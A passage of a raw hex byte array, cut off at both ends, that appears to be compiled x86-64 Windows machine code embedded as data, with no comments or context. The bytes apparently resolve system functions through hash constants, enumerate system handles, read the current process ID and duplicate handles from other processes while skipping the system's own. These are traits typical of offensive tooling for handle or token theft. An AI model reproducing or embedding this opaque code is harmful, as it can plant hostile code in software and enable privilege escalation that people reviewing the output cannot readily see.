74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xE8,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0x7A,0x00,0x00,0x48,0x8B,0x05,0xA9,0x0B,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA1,0x0B,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x1B,0x48,0x8B,0x45,0x10,0x8B,0x55,0xFC,0x8B,0x44,0x90,0x04,0x39,0x45,0x18,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x14,0x83,0x45,0xFC,0x01,0x48,0x8B,0x45,0x10,0x8B,0x00,0x39,0x45,0xFC,0x72,0xDA,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x0E,0x0B,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xFF,0x0A,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x9A,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xEB,0x72,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x8B,0x55,0x10,0x48,0x01,0xD0,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x0F,0xB7,0x00,0x0F,0xB7,0xD0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x2B,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x35,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x88,0x13,0x00,0x00,0x77,0x4B,0x48,0x8B,0x45,0xE8,0x44,0x0F,0xB7,0x00,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xF0,0x89,0x0A,0x41,0x0F,0xB7,0xC8,0x48,0x8B,0x55,0xF0,0x89,0xC0,0x89,0x4C,0x82,0x04,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0x10,0x8B,0x00,0x39,0x45,0xF8,0x72,0x83,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA5,0x78,0x00,0x00,0x48,0x8B,0x05,0x16,0x0A,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x0E,0x0A,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xEC,0x00,0x10,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF8,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x45,0xF8,0x8B,0x45,0xEC,0x89,0xC3,0x48,0x8B,0x05,0xAA,0x09,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9E,0x09,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA2,0x00,0x00,0x00,0x8B,0x4D,0xEC,0x48,0x8B,0x55,0xF0,0x48,0x8D,0x45,0xEC,0x48,0x89,0x44,0x24,0x20,0x41,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x03,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xE8,0x58,0x2C,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x78,0x1B,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xEC,0x48,0x8B,0x45,0x28,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA0,0x77,0x00,0x00,0x48,0x8B,0x05,0x11,0x09,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x09,0x09,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xFC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x26,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xDC,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xA3,0xFE,0xFF,0xFF,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x72,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xF0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xEB,0x50,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x08,0x48,0x8B,0x55,0x20,0x48,0x89,0xC1,0x48,0x8B,0x05,0xEA,0x08,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x15,0x8B,0x45,0xEC,0x8D,0x50,0x02,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x2D,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x02,0x0F,0xB7,0xC0,0x48,0x83,0xC0,0x07,0x48,0x83,0xE0,0xF8,0x48,0x83,0xC0,0x68,0x48,0x01,0x45,0xF0,0x83,0x45,0xEC,0x01,0x48,0x8B,0x45,0xE0,0x8B,0x00,0x39,0x45,0xEC,0x72,0xA5,0xEB,0x01,0x90,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xE0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xDC,0x89,0xC2,0x48,0x8B,0x45,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6F,0x76,0x00,0x00,0x48,0x8B,0x5D,0xE0,0x48,0x8B,0x05,0xDC,0x07,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD8,0x07,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x89,0x4D,0x20,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x94,0x48,0x89,0xC2,0x48,0x8D,0x05,0x76,0x98,0x00,0x00,0x48,0x89,0xC1,0xE8,0x54,0xFE,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x25,0x02,0x00,0x00,0x48,0x8D,0x55,0xA4,0x48,0x8D,0x45,0xA8,0x48,0x89,0xC1,0xE8,0xF6,0xF9,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x0B,0x02,0x00,0x00,0x48,0x8B,0x45,0xA8,0x48,0x8D,0x55,0x98,0x48,0x89,0xC1,0xE8,0xBC,0xFB,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0xF1,0x01,0x00,0x00,0xC7,0x45,0xC4,0x40,0x00,0x00,0x00,0x8B,0x45,0xC4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0x89,0x45,0xD0,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0xAF,0x01,0x00,0x00,0x48,0x8B,0x45,0x98,0x8B,0x55,0xE4,0x8B,0x44,0x90,0x04,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x3B,0x45,0xD0,0x0F,0x84,0x87,0x01,0x00,0x00,0x8B,0x45,0xD4,0x3B,0x45,0x20,0x0F,0x84,0x7E,0x01,0x00,0x00,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x77,0x01,0x00,0x00,0x83,0x7D,0xD4,0x04,0x0F,0x84,0x70,0x01,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x24,0x01,0x00,0x00,0x48,0x8B,0x4D,0xA8,0x8B,0x55,0xE0,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0xD4,0x0F,0x85,0xE4,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0x94,0x39,0xC2,0x0F,0x85,0xD1,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x0F,0x85,0xC1,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x75,0x2A,0x8B,0x45,0xD4,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x01,0x00,0x00,0x00,0xBA,0x40,0x00,0x00,0x00,0x89,0xC1,0xE8,0x1B,0xF8,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC8,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x49,0x89,0xC2,0x48,0x8D,0x4D,0xB0,0x48,0x8B,0x45,0xE8,0xC7,0x44,0x24,0x30,0x02,0x00,0x00,0x00,0x8B,0x55,0x30,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x4C,0x89,0xD2,0x48,0x89,0xC1,0xE8,0x3E,0x28,0x00,0x00,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x78,0x40,0x48,0x8B,0x45,0xB0,0x48,0x89,0xC1,0xE8,0xB1,0xE1,0xFF,0xFF,0x85,0xC0,0x74,0x11,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0xF0,0xEB,0x36,0x48,0x8B,0x45,0xB0,0x48,0x89,0xC1,0xE8,0x42,0x24,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE0,0x01,0x48,0x8B,0x45,0xA8,0x8B,0x00,0x39,0x45,0xE0,0x0F,0x82,0xCD,0xFE,0xFF,0xFF,0xEB,0x01,0x90,0x48,0x83,0x7D,0xE8,0x00,0x74,0x20,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x05,0x24,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xE4,0x01,0x83,0x7D,0xFC,0x00,0x75,0x1A,0x48,0x8B,0x45,0x98,0x8B,0x00,0x39,0x45,0xE4,0x0F,0x82,0x3C,0xFE,0xFF,0xFF,0xEB,0x09,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xA8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xA8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xA4,0x89,0xC2,0x48,0x8B,0x45,0xA8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4B,0x73,0x00,0x00,0x48,0x8B,0x5D,0xA8,0x48,0x8B,0x05,0xB8,0x04,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB4,0x04,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x98,0x48,0x85,0xC0,0x74,0x49,0x48,0x8B,0x45,0x98,0x48,0x85,0xC0,0x74,0x40,0x48,0x8B,0x45,0x98,0x41,0xB8,0x24,0x4E,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF9,0x72,0x00,0x00,0x48,0x8B,0x5D,0x98,0x48,0x8B,0x05,0x66,0x04,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x62,0x04,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x0C,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x13,0x23,0x00,0x00,0x83,0x7D,0xFC,0x00,0x74,0x06,0x48,0x8B,0x45,0xF0,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0x90,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBF,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8B,0x45,0x18,0x89,0x45,0xD8,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x4D,0x10,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x04,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0x57,0x25,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x08,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x22,0x22,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x81,0xC4,0x90,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xFD,0x00,0x00,0x00,0x48,0x83,0x7D,0x18,0x00,0x0F,0x84,0xF2,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x41,0x94,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7E,0xE6,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDB,0xFD,0x4F,0xE5,0x48,0x89,0xC1,0xE8,0x8C,0xE4,0xFF,0xFF,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xBF,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x44,0x8B,0x45,0xF4,0x8B,0x4D,0xF8,0x48,0x8B,0x55,0x10,0x48,0x8B,0x45,0x18,0x4C,0x8B,0x55,0xE8,0x45,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x46,0x21,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xF0,0x00,0x75,0x6D,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xB6,0x93,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF3,0xE5,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDE,0x92,0x8E,0x56,0x48,0x89,0xC1,0xE8,0x01,0xE4,0xFF,0xFF,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x74,0x3E,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x8D,0x55,0xD8,0x4C,0x8B,0x55,0xE0,0x41,0xB9,0x08,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x15,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0x10,0x00,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB1,0x20,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x1B,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x45,0x18,0x48,0x8B,0x00,0x48,0x89,0xC1,0xE8,0x90,0x20,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xD8,0x48,0x89,0xC1,0xE8,0x75,0x20,0x00,0x00,0x83,0x7D,0xFC,0x00,0x74,0x06,0x48,0x8B,0x45,0xD8,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x6F,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xB3,0x92,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF0,0xE4,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xD4,0x0B,0x8F,0x24,0x48,0x89,0xC1,0xE8,0xFE,0xE2,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x36,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF8,0x48,0x89,0xC1,0xFF,0xD2,0x89,0x45,0xF4,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xE0,0x1F,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x18,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x20,0x92,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8D,0x05,0x3D,0x92,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8D,0x45,0xE0,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x02,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0xE8,0x90,0x31,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x4F,0x4C,0x8D,0x45,0xF0,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0x10,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x9F,0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x2C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x48,0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x74,0x1A,0x48,0x8B,0x55,0xF0,0x48,0x8B,0x45,0x18,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x15,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xD0,0x1E,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x41,0xB9,0x08,0x00,0x00,0x00,0x4C,0x8D,0x45,0x10,0xBA,0x05,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFE,0xFF,0xFF,0xFF,0xE8,0x21,0x25,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x81,0xEC,0x28,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xC0,0x00,0x00,0x00,0x48,0x89,0x95,0xC8,0x00,0x00,0x00,0x44,0x89,0x85,0xD0,0x00,0x00,0x00,0x4C,0x89,0x8D,0xD8,0x00,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x88,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0xC7,0x45,0x4C,0x00,0x10,0x00,0x00,0x8B,0x45,0x4C,0x89,0x85,0x84,0x00,0x00,0x00,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0xC7,0x85,0x80,0x00,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xF0,0x0F,0x11,0x45,0x00,0x0F,0x11,0x45,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xA3,0x90,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6A,0xE2,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xA4,0x97,0x06,0x9A,0x48,0x89,0xC1,0xE8,0x78,0xE0,0xFF,0xFF,0x48,0x89,0x45,0x78,0x48,0x83,0x7D,0x78,0x00,0x0F,0x84,0xF2,0x03,0x00,0x00,0x48,0x8D,0x55,0x68,0x48,0x8B,0x85,0xC0,0x00,0x00,0x00,0x4C,0x8B,0x45,0x78,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0x74,0x83,0x7D,0x74,0x00,0x75,0x05,0xE9,0xD6,0x03,0x00,0x00,0x8B,0x45,0x4C,0x89,0x85,0x84,0x00,0x00,0x00,0x8B,0x45,0x4C,0x89,0xC3,0x48,0x8B,0x05,0x63,0xFE,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x4